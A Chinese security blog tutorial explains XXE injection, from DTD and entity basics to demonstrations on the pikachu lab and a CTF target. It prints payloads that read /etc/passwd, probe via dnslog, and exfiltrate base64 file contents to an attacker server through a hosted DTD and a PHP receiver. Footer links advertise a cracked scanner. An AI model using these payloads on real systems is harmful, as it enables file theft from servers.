这篇文章简单的说一说XXE漏洞吧,说说漏洞原理和一些利用方式。说漏洞之前,先来了解一下,什么是XML吧。
XML是Extensible Markup Language(可扩展标识语言)的简写。而XML的设计宗旨是传输数据,不是显示数据,所以XML是各种应用程序之间数据传输最常用的格式。「与HTML的区别在于一个被设计用来展示数据,一个用来传输数据」。
DTD(Document Type Definition)文档类型定义,并且DTD规定、约束符合标准通用语言或可扩展标记语言规则的定义和陈述。DTD是XML的约束,「通过DTD验证的XML是“合法”的XML」。
格式:<!ELEMENT name content-type>
ELEMENT
表示关键字
NAME
表示元素名称
content-type
表示元素类型,有三种写法:
EMPTY
表示该元素不能包含子元素和文本,但可以有属性ANY
表示该元素可以包含任何在该DTD中定义的元素内容#PCDATA
表示可以包含任何字符数据,但是不能在其中包含任何子元素格式:<!ATTLIST 元素名 属性名称 属性类型 属性特点>
属性类型:
CDATA
是字符串类型ID
在整个文档中是唯一的,命名规则和xml元素一样,不能以数字开头IDREF
reference属性的值必须来源于ID的值IDREFS
值必须来源于ID的值,取值可以是多个,以空格分开书写Enumerated
枚举类型(男|女)ENTITY
实体属性特点:
#REQUIRED
必须设置#IMPLIED
可选#FIXED value
固定值,属性可以不设定(该属性会自动设置上),如果设置,值必须为valuedefault value
默认值,可以自定义,如果不定义该属性,则属性会自动设置,值为默认值实体(ENTITY):如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名(类似于变量),即一个ENTITY,然后在文档中调用它
类型 | 普通实体 | 参数实体 |
---|---|---|
内部 | <!ENTITY 实体名 "文本内容"> | <!ENTITY % 实体名 "文本内容"> |
外部 | <!ENTITY 实体名 SYSTEM "外部文件/URL"> | <!ENTITY % 实体名 SYSTEM "外部文件/URL"> |
引用方式 | &实体名; | %实体名; |
使用场合 | 用在XML文档中(包括DTD) | 只用在DTD的元素和属性声明中 |
通过看上表可知,写为<!ENTITY 实体名 SYSTEM "外部文件/URL">
,外部引用可支持http、file等协议。
XXE漏洞全称为 XML External Entity Injection,「即XML外部实体注入」,XXE漏洞发生在应用程序解析XML输入时,「没有禁止外部实体的加载」,导致用户可以控制外部的加载文件,造成XXE漏洞,「导致如文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击」等危害。
这里用本地搭建靶场的方式进行演示,靶场使用的是pikachu,地址为:https://github.com/zhuifengshaonianhanlu/pikachu,搭建流程这里不在赘述,搭建成功如下图,然后开始演示。
首先,先说有回显的,我们来看一下payload如下:
1、
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///[目标文件及路径]">
]>
<root>&xxe;</root>
2、
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=[目标文件及路径]">
]>
<x>&f;</x>
因为是搭建在本地,所以我读取一下本地的passed文件,将[目标文件及路径]改为../../../../../../../etc/passwd,结果如下图
因为页面有回显,所以,我们可以直接在页面中查看到相关信息,那如果页面没有回显呢?我们该如何验证此处是否存在漏洞呢?
「如果没有回显,我们可以借助dnslog来确定此处是否存在XXE漏洞」。如果dnslog收到请求,那么说明此处存在漏洞,然后再借助其他方式进行利用。这里用靶场演示一下,输入如下payload
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://dnslog地址">
]>
<root>&xxe;</root>
发完payload,然后到dnslog平台查看是否收到了请求,如果收到了,那么就可以确定这里存在XXE漏洞,我们发现确实收到的请求,如下图:
这里确定了存在漏洞,如何利用呢?
这里就需要我们有一个服务器,然后请求我们服务器地址,并将数据写我们服务器里文件里,具体操作如下:
首先在攻击者服务器中写如下两个文件
attack.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=[目标文件及路径]">
<!ENTITY % payload "<!ENTITY % getcontent SYSTEM 'http://[攻击者服务器IP]/xxe/getcontent.php?content=%file;'>">
%file;
%payload;
%getcontent;
getcontent.php
<?php
$content = $_GET['content'];
$content = base64_decode($content);
file_put_contents("xxe_results.txt", $content);
然后我们写如下payload
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY % xxe SYSTEM "http://[攻击者服务器IP]/xxe/attack.dtd">
%xxe;
]>
然后在我们的服务器中可以看到就会生成一个文件。当然了,也可以在服务器的日志里查看相关数据。可以使用如下payload
#无回显
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=[目标文件及路径]">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/test.dtd">
%dtd;
%send;
]>test.dtd
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1/?data=%file;'>"
>
%payload;
我们查看日志,如下图:
成功在自己服务器读取到数据。
关于XXE漏洞就说到这里,现在咱们做一道关于XXE漏洞的CTF题目来巩固知识点,题目地址:web.jarvisoj.com:9882,然后我们访问网站,如下:
抓取数据包如下:
通过上图,我们发现数据是通过json传输,这道题考查的是XXE,我们尝试修改Content-Type类型为Content-Type: application/xml
,然后构造XML结构向dnslog发请求,如果dnslog收到请求,那么说明存在XXE漏洞。说干就干,构造数据包,然后查看dnslog,发现成功收到请求,存在XXE漏洞。
接下来开始利用,尝试读取/etc/passwd文件,如下:
读取成功!手工!
关于XXE漏洞就先说到这里,咱们下期见!
【往期推荐】
漏洞复现 | CVE-2022-24990信息泄露+RCE(POC已公开)
漏洞复现 | CVE-2022-0847内核提权漏洞(POC已公开)
安全工具|awvs14.7破解版 (可扫描Spring4shell)